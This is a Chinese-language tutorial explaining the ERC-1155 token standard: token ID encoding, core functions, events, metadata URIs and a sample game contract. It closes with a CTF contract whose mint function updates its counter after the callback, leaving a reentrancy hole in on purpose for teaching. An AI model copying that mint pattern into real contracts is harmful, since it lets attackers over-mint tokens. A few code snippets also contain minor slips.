ERC-1155 标准描述了如何创建同质化(fungible)和非同质化(non-fungible)代币,并将它们整合到一个单一的智能合约中。当涉及多种代币时,这可以节省大量的部署成本。
想象一下,你是一名游戏开发者,正试图将 NFTs 和 ERC-20 代币整合到你的平台中,以代表各种类型的资产,如鞋子、剑、帽子和游戏内货币。
使用 ERC-721 和 ERC-20 等标准将需要你开发多个代币合约,为每个 NFT 集合和 ERC-20 开发一个。部署所有这些合约将是非常昂贵的。
如果你能在一个合约中定义和管理所有的 NFT 资产和代币,那不是很方便吗?然后,你甚至可以创建一个机制来一次性授权或转移多个 NFT。
这种用例正是 NFT 和游戏开发组织 Enjin 向以太坊的 Github 仓库提交第一份 ERC-1155 多代币标准提案的原因。2018年6月17日,Enjin 的 ERC-1155 代币标准正式被以太坊基金会采纳。
ERC-1155 的关键特性
处理多种代币类型:同质化与非同质化
为了在一个单一合约中容纳多种类型的代币(同质化和/或非同质化),ERC-1155 的实现必须使用唯一的 uint256 代币 ID 来区分每种代币类型。这允许合约为每个代币定义独特的属性,例如总供应量、URI、名称、符号等,并确保每个代币的配置保持彼此分离和独立。
以下是 ERC-1155 代币 ID 结构的示例:
- Token ID: 0
- Token ID: 1
- Token ID: 2
- …
Token ID 不必是连续的。它们只需要是唯一的。该标准并未规定应如何创建 Token ID,因此 “mint”函数不是该规范的一部分。
同质化定义
以下是同质化和非同质化代币的定义;ERC-1155 同时支持这两者。
-
Fungible(同质化)
这些是彼此完全相同的代币,就像货币的单位一样。要在 ERC-1155 中定义一个同质化代币集,你只需为给定的 Token ID 铸造多个代币。
当每个代币共享相同的 ID 时,它们也将拥有相同的名称和符号。这将允许该代币以与 ERC-20 相同的方式运作,因为它将拥有多个彼此完全相同的单位,并在相同的名称和符号下。与 ERC-20 不同的是,这里没有 decimals 来解释同质化代币的数量。所有同质化代币的余额均以整数单位呈现。
-
Non-Fungible(非同质化)
ERC-1155 中的非同质化代币(NFTs)是独一无二的代币,每一个都与其他代币不同。这些通过为每个独特物品分配其自己的 Token ID 来表示,该 ID 是一个唯一的
uint256值。
如何将多个非同质化代币放入 ERC-1155
当在一个单一的 ERC-1155 合约中管理多个 NFT 集合时,分配随机的唯一 Token ID 可能会使识别特定 Token ID 属于哪个集合变得困难。
为了解决这个问题,一种解决方案是以将集合和单个物品信息编码到 ID 中的方式来构建 Token ID:我们只需将这两个数字拼接在一起,拼接形成的数字就是该 ID。
具体的做法如下:
我们将 uint256 类型的 Token ID 分为两部分:
- collection ID:Token ID 的高位部分(最高有效128位)用来表示一个特定的集合。
- item ID:低位部分(最低有效128位)用来表示该集合中的单个物品。
这种方案使我们能够轻松识别该 Token ID 属于哪个集合,以及它是该集合中的哪个物品。所有非同质化代币在使用这种编码方式时都将彼此区分。
下图展示了 Token ID 被划分为集合 ID(X 值)和物品 ID(Y 值):

要将集合和物品信息编码到单个 uint256 Token ID 中,我们可以使用位移和加法运算。
位移 (Bit-Shifting)
位移是在位序列的开头或结尾添加零位的过程,本质上是将现有位向左(Solidity 操作符 <<)或向右(>>)移动。
通过位移,我们可以将一个128位的数字“注入”到256位数字的最高有效128位中。默认情况下,如果我们将128位数字转换为256位数字,这128位数字将位于最低有效128位。
思考一下这个代表十进制数字 2 的256位(或32字节)值,将其向左移动128位(或16字节):
在将十进制值 2 向左移动128位(2 << 128)后,我们得到了新的十进制值 680564733841876926926749214863536422912 或十六进制的 0x0000000000000000000000000000000200000000000000000000000000000000。
使用这种位移技术,我们能够用零填充最低有效128位。由于 NFT ID 是以 uint256 类型存储的,我们可以将 item id 与位移后的集合 ID(shifted collection id)相加。下面是一个说明这一点的简单公式:
uint256 token_ID = shifted_collection_id + individual_token_id
下面的动画展示了位移和加法操作在后台是如何发生的:
想象这个场景,一个 ERC-1155 合约有两个不同的非同质化代币集合:CoolPhotos 和 RareSkills,其 collectionID 分别为 1 和 2。如果 Bob 想检查他是否拥有 RareSkills 集合中 itemID 为 7 的物品,用于此检查的有效 Token ID 将是 collectionID 和 itemID 的组合:
其中橙色部分代表 RareSkills 的集合 ID,绿色部分代表该集合的 itemID。
以下是上述示例中的 ERC-1155 合约如何为给定的 Token ID 存储和检索账户余额:
// Nested mapping to store balances
// tokenID => owner => balance
mapping(uint256 => mapping(address => uint256)) balances;
// Retrieves the balance of a specific token ID for an address
function balanceOf(address owner, uint256 tokenid) public view returns (uint256) {
return balances[tokenid][owner];
}
使用上述代码,Bob 可以调用带有 Token ID (2 << 128) + 7 的 balanceOf 函数来检查他的所有权:
uint256 rareSkillsTokenCollectionID = 2 << 128; // collection id is 2
uint256 rsNFT = 7; // item id
// Returns 1 if Bob owns the tokenid passed, else, 0
uint256 bobBalance = balanceOf(
address(Bob),
rareSkillsTokenCollectionID + rsNFT // (2 << 128) + 7
);
如果 bobBalance = 1,Bob 拥有 RareSkills 集合中 itemID 为 7 的物品。至关重要的是,合约必须强制该代币的总供应量不能超过 1,否则该代币将变成同质化的,而不是非同质化的。
我们之前讨论了使用位移方法来唯一计算 Token ID。为了反转这个过程并从 tokenId 中获取 collectionId 和 itemId,我们将 tokenId 向右移动128位以检索 collectionId,并将 tokenId 转换为128位以获得 itemId。
以下是如何进行计算的示例代码:
- 在给定 NFT 集合 ID 和 itemId 的情况下,计算 ERC-1155 Token ID
- 在给定 ERC-1155 Token ID 的情况下,计算集合 ID 和物品 ID
contract A {
// 1. COMPUTE TOKEN ID
function getTokenId(
uint256 collectionId,
uint256 itemId
) public pure returns (bytes32 tokenId) {
// shift the collection id by 128 to the left
uint256 shiftedCollectionId = collectionId << 128;
// add the item id to the shifted collection id
tokenId = bytes32(shiftedCollectionId + itemId);
}
// 2. GET COLLECTION ID AND ITEM ID
function getCollectionIdAndItemId(
uint256 tokenId
) public pure returns (uint256 collectionId, uint256 itemId) {
// shift the token id to the right by 128
collectionId = tokenId >> 128;
// cast the token id to 128
itemId = uint128(tokenId);
}
}
截图来自 Remix,展示了正在测试这两个函数的代码:

结构化 Token ID 技术是使用 ERC1155 实现多个非同质化代币的一种方法,因为该标准并没有指定必须如何执行。但是,有一种名为 ERC1155D 的 ERC1155 实现,如果合约只需要支持单一的 NFT 集合,它是对原始标准的迭代,旨在优化铸造非同质化代币时的 Gas 效率。
ERC-1155D
ERC-1155D 专门为非同质化代币设计(与 ERC-721 相同),其中每个代币都有唯一的标识符和唯一的所有者。它完全向后兼容并符合 ERC-1155。
何时使用 ERC1155D?
当你的合约中不需要多个非同质化代币集合(如 CoolPhotos 和 RareSkills 示例中那样)时使用 ERC1155D,同时强制代币的供应量为1,且最多只有一个所有者。
总而言之,所有的代币都在单一合约下使用 uint256 值的 Token ID 进行管理。然而,特定的 Token ID 是如何分配给不同类型的代币的,完全取决于合约的用例。
ERC1155 核心函数
这些是 ERC1155 接口中的函数,必须由实现 ERC1155 标准的合约来实现。每个函数中的代码片段均来自该标准的规范。
余额检索
-
balanceOf
在 ERC-721 中,
balanceOf(address _owner)返回该地址拥有的整个代币 ID 集合的余额。所以,如果一个地址拥有代币 1、5 和 7,对该地址调用balanceOf(address _owner)会返回3。然而,在 ERC-1155 中,
balanceOf函数的结构设计使其针对特定账户地址检索特定 Token ID 的代币余额。/** @notice Get the balance of an account's tokens. @param _owner The address of the token holder @param _id ID of the token @return The _owner's balance of the token type requested */ function balanceOf(address _owner,uint256 _id) external view returns (uint256);一个地址可以持有各种 Token ID 的不同数量,例如 1 个单位的 Token ID 1,20 个单位的 Token ID 5,依此类推。然而,在 ERC-1155 合约中,没有直接的方法来测量一个地址拥有的所有 Token ID 跨度的代币总数,因为
balanceOf函数旨在仅检查 你拥有多少特定 tokenID,而不是你整个合约中拥有多少个 tokenID。 -
balanceOfBatch
这里还存在一种称为
balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)的批处理机制。该方法通过在循环中调用balanceOf,一次检索每个地址对应每个 ID 的多个余额。/** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the tokens @return The _owner's balance of the token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch( address[] calldata _owners, uint256[] calldata _ids ) external view returns (uint256[] memory);ERC-1155 不支持列出所有已存在 Token ID 的机制。
为了获取一个 1155 合约所有存在的 ID,我们必须在链下解析日志(我们稍后将展示如何执行此操作)。
全部授权 (Approval For All)
ERC-1155 允许所有者通过调用其 setApprovalForAll(address _operator, bool _approved) 方法,在单笔交易中向操作员(operator)授予管理其跨所有 ID 的所有代币的权限。此函数接受操作员的 address 和表示授权状态的 bool 作为参数:
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator,bool _approved) external;
请注意,这个方法从字面上批准了用户在 ERC-1155 合约中拥有的一切。这就像是为 ERC-20 设置了最大授权,并且为 ERC-721 调用了 setApprovalForAll。所有者在 ERC-1155 合约中任意数量的任何代币都可以被该操作员转移。
安全转移 (Safe Transfers)
遵循 ERC-721 模式,ERC-1155 还具有 “安全转移”机制,该机制通过检查以确保代币的接收者是有效的。事实上,ERC-1155 仅支持安全转移。
-
safeTransferFrom
/** @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;如果接收者是一个外部拥有账户(EOA),那么
safeTransferFrom会检查该地址是否不是零地址。如果接收者是一个智能合约,那么它将调用onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data)回调函数,并期望返回魔法值(magic value)bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))。ERC-1155 代币不能被转移到未实现
onERC1155Received或不正确实现onERC1155Received的智能合约。 -
safeBatchTransferFrom
/** @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;此外,该标准允许所有者和操作员执行批量转移。可以在单一交易中将多组代币从源地址转移到目标地址。
可以通过调用以下函数来执行批量转移:
safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data),- 这将在接收方上调用
onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)回调- 并期望返回魔法值
bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))。
- 并期望返回魔法值
- 这将在接收方上调用
SafeTransferFrom 与 SafeBatchTransferFrom 的对比
使用 OpenZeppelin 的 ERC1155 实现,下图比较了调用三次
safeTransferFrom与将转移批量合并到单次交易中的 Gas 消耗:
使用 safeBatchTransferFrom,如红框所示,消耗了 132,437 Gas,这大大低于蓝框中所示的三次独立调用 safeTransferFrom 所使用的 189,861 Gas。
核心数据结构
ERC-1155 的实现通常使用映射(mappings)来保持上述余额、授权和 URI 等核心数据的状态。例如,一个 ERC-1155 可以使用以下存储变量:
mapping(uint256 id => mapping(address account => uint256 balance)) internal _balances;
mapping(address account => mapping(address operator => bool isApproved)) internal _operatorApprovals;
string private _uri;
让我们在以下章节中检查这些数据结构中的每一个。
Balances(余额)
余额存储在具有两层的嵌套映射中。外部映射具有一个代表 token ID 的键,指向另一个将 address(所有者)映射到 _balances 的映射。
为了在这种结构下返回特定代币的账户余额,balanceOf 的实现将按如下方式访问该值:
function balanceOf(address account, uint256 id) public view returns (uint256) {
return _balances[id][account];
}
Approvals(授权)
同样,授权保存在嵌套映射中,因为一个账户可以向多个操作员授予权限。外部映射的键是所有者,指向将操作员映射到其授权状态的映射。
考虑这个访问授权状态的 isApprovedForAll 函数的示例实现:
function isApprovedForAll(address account, address operator) public view returns (bool) {
return _operatorApprovals[account][operator];
}
日志与事件 (Logging and Events)
ERC-1155 标准保证可以通过观察由智能合约触发的事件日志来创建所有当前代币余额的准确记录,因为每一次代币的铸造(mint)、销毁(burn)和转移(transfer)都会被记录下来。
必须触发事件的场景列表如下:
-
当一个地址向另一个地址授予或撤销管理其所有代币的操作员权限时,必须触发
ApprovalForAll事件:event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); -
当代币从一个地址转移到另一个地址时,包括铸造和销毁,必须触发
TransferSingle或TransferBatch事件。// Emits when a single token is transferred event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); // Emits when a batch of tokens is transferred event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);如果使用单个 tokenID 调用
safeBatchTransferFrom函数,则触发TransferSingle事件,否则触发TransferBatch事件。 -
如果特定 Token ID 的元数据(metadata)URI 发生变化,必须触发
URI事件:event URI(string _value, uint256 indexed _id);
只要在调用与它们相关联的函数时记录/触发了这些事件,我们就可以在链下用 JavaScript 获取如下信息:
-
1155 合约中现有的 Token ID:
以下代码使用 ethers.js 库与 ERC-1155 合约交互,并获取在指定区块范围内触发的
TransferSingle和TransferBatch事件中所有发出的 Token ID 列表。import { ethers } from "ethers"; // v6 // Connect to an Ethereum provider const provider = new ethers.JsonRpcProvider("rpc-url"); // ERC-1155 contract address and ABI const erc1155ContractAddress = "YourContractAddress"; const abi = [ /* ERC-1155 ABI here */ "event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value)", "event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values)", ]; const contract = new ethers.Contract(erc1155ContractAddress, abi, provider); (async (startBlockNumber) => { // Fetch `TransferSingle` and `TransferBatch` events const singleEvents = await erc1155ContractInstance.queryFilter( "TransferSingle", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const batchEvents = await erc1155ContractInstance.queryFilter( "TransferBatch", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const tokenIds = new Set(); // Get token IDs from TransferSingle events singleEvents.forEach((event) => { // Destructure the `args` field const { operator, from, to, id, value } = event.args; // Add `id` to the `tokenIds` set tokenIds.add(id); }); // Get token IDs from TransferBatch events batchEvents.forEach((event) => { // Destructure the `args` field const { operator, from, to, ids, values } = event.args; // Loop through `ids` then add `id` to the `tokenIds` set ids.forEach((id) => tokenIds.add(id.toString())); }); console.log("Token IDs in existence:", Array.from(tokenIds)); })(); -
用户拥有的所有 Token ID:
下面的代码列出了用户拥有的所有 ID。它通过追踪该地址的
to和from转移事件来实现。为了确保准确性,需要在该地址发生最早交互之前设置startBlockNumber。async function getUserTokenIds(userAddress, startBlockNumber) { const singleEvents = await erc1155ContractInstance.queryFilter('TransferSingle', startBlockNumber, startBlockNumber + 100000); const batchEvents = await erc1155ContractInstance.queryFilter('TransferBatch', startBlockNumber, startBlockNumber + 100000); const balances = {}; // Process TransferSingle events singleEvents.forEach(event => { const { operator, from, to, id, value } = event.args; if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + parseInt(value.toString()); } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - parseInt(value.toString()); } }); // Process TransferBatch events batchEvents.forEach(event => { const { operator, from, to, ids, values } = event.args; ids.forEach((id, index) => { const value = parseInt(values[index].toString()); if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + value; } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - value; } }); }); // Filter out IDs with a balance greater than zero const ownedTokenIds = Object.keys(balances).filter(id => balances[id] > 0); console.log(ownedTokenIds); }
统一资源标识符 (URIs)
正如标准所规定,ERC-1155 只有一个 uri 函数。标准并未说明 uri 函数是否应该使用或忽略 Token ID。URI 的检索方式取决于合约的实现。例如,如果合约实现需要一个共享的 URI,我们可以忽略 ID 并只返回基础 URI _uri,否则,我们可以同时编码 Token ID 和基础 URI。
Token ID 共享 URI 的示例实现:
string private _uri;
function uri(uint256 /* id */) public view virtual returns (string memory) {
return _uri;
}
上述的 uri 函数将始终返回相同的 URI,忽略 Token ID。
每个 Token ID 唯一 URI 的示例实现:
如果我们想要根据 Token ID 改变返回的字符串,Strings 库会很方便,但它并非 Solidity 原生,而是 OpenZeppelin Strings 库 的一部分。在下面的实现示例中,它被用于将一个 uint256 类型的 tokenID 转换为编码为 Solidity 字符串的十六进制数字。
以下是如何使用 Strings 库根据 ID 改变 URI 的示例:
import "@openzeppelin/contracts/utils/Strings.sol";
string private _uri;
function uri(uint256 id) public view virtual returns (string memory) {
return string(abi.encodePacked(
_uri,
Strings.toHexString(id, 32), // Convert tokenId to hex with fixed length
".json"
));
}
uri 函数通过将传入的 Token ID 附加到基础 URI 后,为每个代币返回一个唯一的 URI。例如,如果基础 URI 是 https://token-cdn-domain/,使用 Token ID 314592(十六进制为 0x4CCE0)调用该函数将返回 https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json。
该标准要求客户端用代币实际 ID 的十六进制字符串表示替换 {id} 参数(如果存在)。被替换的字符串必须是小写字母数字:[0-9a-f],没有“0x”前缀,并且在必要时用前导零填充到64个十六进制字符长度。
这种 Token ID 替换方法通过将传入的 Token ID 附加到基础 URI 后,减少了存储大型代币集合的唯一 URI 所需的开销。
URIs 是如何构建的
该标准并不强制要求 ERC-1155 代币必须有与其关联的 URI 元数据。然而,如果 ERC-1155 的实现合约确实定义了任何代币的 URI,它必须指向一个符合“ERC-1155 Metadata URI JSON Schema”的 JSON 文件。
该 URI 通常指向一个链下资源,例如服务器或 IPFS,用于存储元数据。
从标准中复制过来的 ERC-1155 Metadata URI JSON Schema 概述如下:
{
"title": "Token Metadata",
"type": "object",
"properties": {
"name": {
"type": "string",
"description": "Identifies the asset to which this token represents"
},
"decimals": {
"type": "integer",
"description": "The number of decimal places that the token amount should display - e.g. 18, means to divide the token amount by 1000000000000000000 to get its user representation."
},
"description": {
"type": "string",
"description": "Describes the asset to which this token represents"
},
"image": {
"type": "string",
"description": "A URI pointing to a resource with mime type image/* representing the asset to which this token represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive."
},
"properties": {
"type": "object",
"description": "Arbitrary properties. Values may be strings, numbers, object or arrays."
}
}
}
一个符合上述 JSON 元数据模式的汽车 NFT 的 JSON 示例:
{
"title": "RareSkills Car Metadata",
"type": "object",
"properties": {
"name": "RareSkills Car #1",
"description": "A high-performance electric car with cutting-edge technology.",
"image": "https://image-uri/rareskills-car1.png",
"year": 2024,
"topSpeed": "200 mph",
"batteryCapacity": "100 kWh",
"features": ["Autopilot", "Full Self-Driving", "Premium Sound System"],
}
}
title 字段描述了元数据的用途,type 字段指定了元数据的数据格式,properties 字段定义了有关该汽车的附加属性或元数据。
URI JSON Schema 中的本地化 (Localization) 字段
支持本地化的客户端可以通过利用 JSON 格式的 ERC-1155 中存在的 localization 属性(如果存在),以多种语言显示代币信息。
localization 元数据的模式如下:
{
"title": "Token Metadata",
"type": "object",
"properties": {
...
"localization": {
"type": "object",
"required": ["uri", "default", "locales"],
"properties": {
"uri": {
"type": "string",
"description": "The URI pattern to fetch localized data from. This URI should contain the substring `{locale}` which will be replaced with the appropriate locale value before sending the request."
},
"default": {
"type": "string",
"description": "The locale of the default data within the base JSON"
},
"locales": {
"type": "array",
"description": "The list of locales for which data is available. These locales should conform to those defined in the Unicode Common Locale Data Repository (http://cldr.unicode.org/)."
}
}
}
}
}
以下是一个包含 localization 属性的元数据 JSON 文件示例:
{
"name": "RareSkills Token",
"description": "Each token represents a unique pass in RareSkills community.",
"properties": {
"localization": {
"uri": "ipfs://xxx/{locale}.json",
"default": "en",
"locales": ["en", "es", "fr"]
}
}
}
locales 属性是一个包含三个元素的数组:en、es 和 fr,其中 en 被设置为默认语言。数组中的每个元素在各自的语言下都有自己的元数据 JSON 文件。
es.json:
{
"name": "RareSkills simbólico",
"description": "Cada token representa un pase único en la comunidad RareSkills."
}
fr.json:
{
"name": "RareSkills Jeton",
"description": "Chaque jeton représente un pass unique dans la communauté RareSkills."
}
类似于 Token ID 替换,如果 uri 包含字符串 {locale},那么客户端必须使用 locales 数组中定义的可用区域设置之一来替换它,从而指向目标语言的元数据 JSON 文件。
获取法语元数据的示例步骤
-
用 Token ID
314592调用uri函数来获取代币元数据 JSON 的 URI// Returned uri: https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json -
从步骤1中返回的 URI 链下读取 JSON 内容,以获取我们所需语言的基础 URI
{ "name": "RareSkills Token", "description": "Each token represents a unique pass in RareSkills community.", "properties": { "localization": { "uri": "https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/{locale}.json", "default": "en", "locales": ["en", "es", "fr"] } } } -
将
localization → uri字段中的{locale}字符串替换为fr,以获得法语版本元数据的 URI// French Language URI: // [https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/fr.json](https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json)
当与不受信任的元数据交互时,务必在解析之前对结果进行清理(sanitize)。任何在前端渲染的 JSON 都可能成为跨站脚本(XSS)攻击的媒介。
OpenSea 如何解释元数据
OpenSea 支持 ERC-1155 合约,本节展示 OpenSea 是如何解释 ERC-1155 元数据的。下面是一个来自名为 Common Ground World 的区块链游戏的实际示例:

在撰写本文时,Common Ground World 拥有 681 个定义为游戏内资产的集合,在 OpenSea 上被称为“Unique items”(如上图红框所示)。每个集合中所有资产的总和约为 9 million(绿框)。
以下是该游戏中的一个集合示例:

这个 Water Tank 集合的总供应量约为 4,800 个物品(绿框),由大约 2,900 个地址拥有(红框)。
请注意,OpenSea 不会为任何给定的 ERC-721 代币提供总供应量信息,因为每个 tokenID 的供应量都为1,且确切地有一个所有者。为了进行对比,这里是一个由 F15C93 拥有的随机 Bored Ape Yacht Club NFT:

通过观察 OpenSea 的 Details(详情)部分,可以更清楚地看到该代币遵循的是 ERC-1155 标准,见下方的红框:

OpenSea 能够通过从代币的元数据中提取来显示描述和特征信息,通过点击 Token ID 可以观察到这一点:
{
"decimalPlaces": 0,
"description": "Never underestimate the power of passive, on-demand water for your crops. Your Farmers will thank you!",
"image": "https://tokens.gala.games/images/sandbox-games/town-star/storage/water-tank.gif",
"name": "Water Tank",
"properties": {
"category": "Storage",
"game": "Town Star",
"rarity": {
"hexcode": "#939393",
"icon": "https://tokens.gala.games/images/sandbox-games/rarity/common.png",
"label": "Common",
"supplyLimit": 5159
},
"tokenRun": "storage"
}
}
OpenSea 定义了 URI 必须遵守的 元数据标准,以便 OpenSea 能够为 ERC721 和 ERC1155 资产拉取链下元数据。
实现示例
以下是一个简单的游戏 ERC-1155 实现合约示例。它实例化了 OpenZeppelin 的 ERC-1155 抽象合约,并带有额外的函数作为包装器(wrappers)和助手(helpers)来改变游戏状态:
initializePlayer:通过铸造一个由常量INITIAL_IN_GAME_CURRENCY_BALANCE定义的数量来初始化一个玩家的账户。mintInGameCurrency:为特定玩家铸造额外的游戏内货币。mintCar:允许玩家铸造基于 NFT 的独特汽车。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract GameAssets is ERC1155 {
uint256 constant TOKEN_ID_IN_GAME_CURRENCY = 0; // fungible tokenId
uint256 constant TOKEN_ID_BASE_CAR_COLLECTION = 1; // non-fungible tokenId
uint256 constant INITIAL_IN_GAME_CURRENCY_BALANCE = 1000;
uint256 constant MINIMUM_AMOUNT = 1500;
uint256 public nextTokenIndex;
constructor(string memory uri) ERC1155(uri) {}
function initializePlayer(address to, bytes memory data) public {
mintInGameCurrency(to, INITIAL_IN_GAME_CURRENCY_BALANCE, data);
}
function mintInGameCurrency(address to, uint256 value, bytes memory data) public {
_mint(to, TOKEN_ID_IN_GAME_CURRENCY, value, data);
}
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// ASSERT PLAYER'S BALANCE OF THE TOKEN ID `TOKEN_ID_IN_GAME_CURRENCY`
// EQUALS OR GREATER THAN `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// THE NON-FUNGIBLE MAGIC TRICK
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// MINT CAR
_mint(player, carId, 1, data);
}
}
注意: 该合约仅作演示用途,省略了关键的安全特性和优化。
游戏将有两种类型的代币:
- 一种玩家可以通过完成任务赚取到的游戏内货币($IGC)。这将是一种同质化代币。
- 一种非同质化代币,代表玩家可以铸造的汽车集合。
当我们部署这个合约时,我们的合约地址是 0xCc3958FE4Beb3bcb894c184362486eBEc2E1fD4D,我们将使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 作为玩家地址。
在接下来的几节中,我们将演示如何与该合约交互以管理其代币资产。
一个使用 ERC-1155 的游戏示例
下面的流程图说明了玩家如何与游戏的 ERC-1155 合约交互,包括铸造游戏内货币和汽车。

ERC-1155 Token 0: 铸造 $IGC

假设我们希望玩家在游戏开始时拥有 1000 $IGC 的余额。我们可以通过调用我们合约中的 initializePlayer 函数在游戏开始时向每位玩家铸造这些代币。这将把代表 IGC 的 Token ID(0)和要铸造的数量发送给 OpenZeppelin 基础合约中的 _mint(address to, uint256 id, uint256 value, bytes memory data)。
这个 _mint 函数是 OpenZeppelin 创建代币的方法,按照标准要求,它最终会执行接受检查,调用 safeTransferFrom 并触发 TransferSingle 事件(见下方蓝框)。
在调用 initializePlayer 函数后,我们可以看到以下日志:

在红框中,我们可以看到 TransferSingle 事件被触发了,在绿框中,零地址向我们的玩家地址发送了 1000 单位的游戏内货币(Token ID 为 0)。
铸造更多的 $IGC
当我们的玩家完成任务时,我们希望用更多的 $IGC 来奖励他们。我们可以调用游戏合约中的 mintInGameCurrency 函数,该函数随后会调用 OpenZeppelin 的 _mint 函数,指定我们玩家的地址(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4)、作为奖励铸造的代币数量(500)以及发送给接收者回调的任何字节数据(在此例中无数据)。用这些值调用 mintInGameCurrency 会将 500 枚 $IGC 代币铸造到目标地址,使得总余额达到 1500 枚 $IGC 代币。
当我们通过 balanceOf 检查玩家的 $IGC 余额时:

我们可以看到,玩家现在拥有 1500 $IGC 的余额(初始 + 奖励)。
ERC-1155 Token 1: 铸造非同质化资产(汽车)

现在,假设我们希望允许拥有最低 $IGC 余额的玩家来铸造汽车。请记住,汽车集合是非同质化的。
首先,我们将为包含汽车特征的每个汽车 NFT 定义独特的元数据。
例如,我们集合中第一辆汽车的 URI 将是:
https://token-cdn-domain/0000000000000000000000000000000100000000000000000000000000000000.json
其中 ID 为:
十进制表示的
或
十六进制表示的
橙色位代表汽车的集合 ID(1),而绿色位代表第一辆汽车的 Token ID(0)。它们共同组成了一个指向某元数据的唯一 ID,假设内容如下:
{
"name": "Super Fast Car",
"description": "This super fast car is not like any other, it's super fast.",
"image": "https://images.com/{id}.png",
"properties": {
"features": {
"speed": "100",
"color": "blue",
"model": "SuperFast x1000",
"rims": "aluminum"
}
}
}
现在,我们调用合约上的 mintCar 函数来铸造他们的汽车 NFT:
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// ASSERT PLAYER'S BALANCE OF THE TOKEN ID `TOKEN_ID_IN_GAME_CURRENCY`
// EQUALS OR GREATER THAN `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// THE NON-FUNGIBLE MAGIC TRICK
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// MINT CAR
_mint(player, carId, 1, data);
}
carId 变量正发生非同质化魔法的地方。它通过结合汽车集合 ID 和下一个可用的代币索引(从零开始),计算出每个汽车 NFT 唯一的 Token ID。
调用 mintCar 函数之后:

正如预期的那样,从 零地址(address zero) 铸造了一辆汽车 NFT(黄框)到玩家的地址。
注意: 该 NFT 的 ID(红框)为 340282366920938463463374607431768211456,这是 (1 << 128) + 0 的结果,其中 1 是汽车集合的基础 Token ID,而 0 是该集合中 NFT 的 itemID。
除了在单一合约中管理同质化和非同质化代币之外,解决 ERC-1155 合约中的安全漏洞也很重要。一种常见的漏洞是重入攻击(reentrancy attacks),它可能会利用铸造或转移过程。
ERC-1155 铸造与转移中的重入攻击
由于在 safeTransferFrom 和 safeBatchTransferFrom 操作中会执行回调函数,使用 ERC-1155 的合约很容易受到重入攻击的影响。ERC-1155 本身是安全的,但向其中添加不安全的代码(如不安全的铸造逻辑)可能会引入重入漏洞。
考虑来自 Solidity Riddles by RareSkills CTF 挑战的 这个 合约:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract Overmint1_ERC1155 is ERC1155 {
using Address for address;
mapping(address => mapping(uint256 => uint256)) public amountMinted;
mapping(uint256 => uint256) public totalSupply;
constructor() ERC1155("Overmint1_ERC1155") {}
function mint(uint256 id, bytes calldata data) external {
require(amountMinted[msg.sender][id] <= 3, "max 3 NFTs");
totalSupply[id]++;
_mint(msg.sender, id, 1, data);
amountMinted[msg.sender][id]++;
}
function success(address _attacker, uint256 id) external view returns (bool) {
return balanceOf(_attacker, id) == 5;
}
}
